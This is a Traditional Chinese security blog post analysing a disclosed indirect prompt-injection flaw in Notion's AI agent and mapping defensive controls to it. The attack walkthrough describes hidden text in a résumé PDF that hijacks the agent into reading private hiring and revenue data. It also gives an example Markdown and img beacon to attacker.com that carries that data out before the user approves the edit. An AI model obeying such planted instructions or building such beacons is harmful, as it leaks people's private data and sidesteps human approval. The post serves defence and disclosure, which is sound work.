部落格 發布於 AIA: 2026年7月11日

Notion AI Agent 間接提示詞注入與資料外洩漏洞

PromptArmor 和 CodeIntegrity 揭露了 Notion 3.0 AI Agent 的資料外洩漏洞。攻擊者在文件中植入隱藏的提示詞注入攻擊指令,趁使用者要求 agent 摘要檔案時,挾持 agent 的後續執行。被挾持的 agent 會讀取工作區的私有資料庫,並藉由呼叫 Web 搜尋工具或寫入會在前端預覽時自動渲染的 Markdown 圖片標籤,將機敏資料外洩至外部伺服器。

Indirect Prompt InjectionData ExfiltrationInput ValidationSink EnforcementAgentic AI
8 項對應的 AIDEFEND 防禦手法
來源: Notion AI: Data Exfiltration 
作者: qual1a
原文發布: 2026年1月7日

威脅分析

  • 攻擊者植入提示詞注入指令。 攻擊者在履歷 PDF 中以白底白字隱藏惡意提示詞,肉眼難以察覺,但仍會被 AI 讀取。
  • 使用者要求 AI 處理文件。 使用者上傳履歷並要求 Notion AI 摘要,AI 讀取文件時無法分辨這是內容還是指令,於是照做。
  • Agent 讀取私有資料庫。 注入的指令操控 Notion AI 跨越邊界,讀取 Hiring Tracker(公司人資部門用來追蹤應徵者的資料庫,存放在 Notion 工作區中)中的候選人資料與 ARR(年度經常性收入,annual recurring revenue,是公司的財務指標數字,可能為機密)。
  • 攻擊路徑 A:呼叫 Web 搜尋工具。 Agent 將竊取的資料拼接到 URL,並藉由呼叫 functions.search 工具對外發送搜尋請求。
  • 攻擊路徑 B:插入 Markdown 圖片。 Agent 在網頁的編輯草稿中,寫入一個拼接了工作區機敏資料的 Markdown 圖片標籤(例如 ![leak](http://attacker.com/beacon.png?data=薪資100k_ARR50m))。
  • 自動渲染完成資料外洩。 Notion UI 在使用者核准該編輯前即自動渲染該圖片。瀏覽器會自動將圖片語法轉為 HTML <img src="http://attacker.com/beacon.png?data=薪資100k_ARR50m" />,並在背景自動發出 HTTP 請求下載圖片,使已寫入 URL 參數的資料,在使用者察覺前就隨著這個請求外流到攻擊者伺服器。

適用的 8 項 AIDEFEND 防禦手法

AID-H-019.001
URL Normalization & Allowlist Filtering
極高
被挾持的 agent 可能利用工具呼叫,連到外部的不可信網域。安全的網路抓取封裝層應強制套用在 Web 搜尋工具上:送出請求前,先確認正規化後的完整 URL 是否屬於核准的搜尋引擎網域;只要搜尋參數夾帶外部 URL 或未核准網域,就預設封鎖並示警,避免 functions.search 被拿來外洩資料。
AID-H-006.002
Text, Markup & Structured Output Sanitization and Release Gate
極高
AI 產出的 Markdown 圖片語法,如果在使用者核准編輯前就被前端自動渲染,已寫入 URL 參數的資料就會隨著背景請求外流。系統應在前端編輯器或預覽畫面渲染 Markdown 前,先過濾未經確認的圖片語法,或把它轉義成純文字(例如把 ![image](url) 加上反斜線轉義成 \\!\\[image\\](url)),讓瀏覽器只當成一般字串顯示,不會在背景自動發出下載請求,藉此切斷這條 beacon(用來偷偷把資料送出去的追蹤請求)外洩管道。
AID-H-017.007
Dual-LLM Isolation Pattern
AI 讀取不可信文件時,往往無法分辨內容與指令,容易被挾持執行;因此不可信檔案的解析與摘要應交給沒有工具呼叫權限的隔離型模型(Q-LLM)處理,只輸出經驗證的結構化資料。擁有工具呼叫權限的決策型模型(P-LLM)之後只讀取這份結構化資料,預設不會直接讀取原始檔案文字,藏在文件裡的提示詞注入指令也就傳不到有執行權限的模型。
AID-H-002.002
Inference-Time Prompt & Input Validation
在 context assembly 邊界消費 post-retrieval finding,並在 model invocation 前同步拒絕、隔離、清理、降級,或把不受信任的 PDF 文字送交審查。這才是阻止隱藏指令進入 privileged agent context 的 enforcement owner。
AID-H-018.004
Intent-Based Dynamic Capability Scoping
使用者只是要求摘要一份檔案,agent 卻因此拿到了讀取機敏資料庫、呼叫外部工具等遠超這個任務所需的權限。系統應依照使用者當下的實際意圖(例如僅摘要單一檔案)簽發一次性的 per-request 權限範圍,除非使用者額外授權,否則預設停用 Web 搜尋、connector 存取或跨頁面寫入,藉此限縮 prompt injection 得逞後能造成的影響範圍。
AID-H-018.002
Policy-Based Access Control
被挾持的 agent 一旦能任意呼叫工具,就可能讀到 Hiring Tracker 這類機敏的 AI 運作資料。獨立政策引擎(如 OPA 或 Casbin)應採預設拒絕(fail-closed)的情境式授權判斷;agent 每次讀取前,都要確認目前的使用者工作階段確實授權這次任務存取該資源,否則直接阻斷。
AID-I-002.002
Secure External AI Service Connectivity
如果上述應用層的檢查全部被繞過,agent 就能直接把資料送到攻擊者控制的伺服器;這也是為什麼還需要在網路層另外加一道防線,不能只靠應用層的判斷。AI 執行環境的邊界應部署 egress 代理伺服器與防火牆,預設拒絕所有出向連線,只允許連到已驗證的 SNI(Server Name Indication,TLS 連線時用來標示目的網域的欄位)或 DNS 網域,確保外洩請求會在網路層被直接擋下。
AID-M-009.001
Operating Scope & Functional Autonomy Profiles
處理不可信文件時,先把工作區 agent 的自主性設定為低自主的 Observe/Analyze,並把寫入、委派、持久化與對外連線標成需監督或禁止的功能。這份 profile 提供政策事實;真正的 runtime allow/deny 由 AID-H-018.002 執行。

身為資安防禦者,我們應該這麼做

  • 稽核並限制 AI 網域與連接器權限。 在 Notion 管理員設定中,停用不必要的第三方連接器整合,限制 AI agent 在工作區中能自動存取的頁面範圍。
  • 在 Notion AI 設定中將 Web 搜尋預設設為關閉。 若工作區主要處理內部文檔,應將「Enable web search for workspace」設為 Off,以消除 functions.search 的外洩管道。
  • 啟用對外連線前的確認機制(HITL,human-in-the-loop,要求真人確認後才放行)。 開啟「Require confirmation for web requests」設定,確保 agent 在呼叫外部工具或開啟外部連結前,必須經過使用者手動確認。
  • 對 AI 產出的網頁編輯與預覽進行嚴格的安全過濾。 部署補強控制以驗證 AI 生成的 Markdown 內容,檢查其中是否包含未經授權的外部圖片或連結,並在使用者確認前預設阻斷載入。
  • 建立雙 LLM 隔離架構(Dual-LLM)。 處理外部上傳的不可信檔案時,應先交給沒有工具呼叫權限的隔離型模型(Q-LLM)解析,再把清理後的結構化資料交給有工具呼叫權限的決策型模型(P-LLM)。

結論

Notion 3.0 AI Agent 的致命三重奏漏洞,突顯了當 AI 具備「資料存取、不可信輸入處理、對外連線能力」時所帶來的複合風險。在編輯草稿或預覽畫面時自動渲染外部 Markdown 圖片,讓攻擊者能在人機協同核可前完成資料外洩。防守方應將此案例作為教訓,把不可信輸入當作可執行程式碼來對待,除了實施輸出淨化阻止前端載入會對外送出資料的追蹤請求外,也應在網路邊界實施嚴格的出向連線限制與動態能力範圍控制。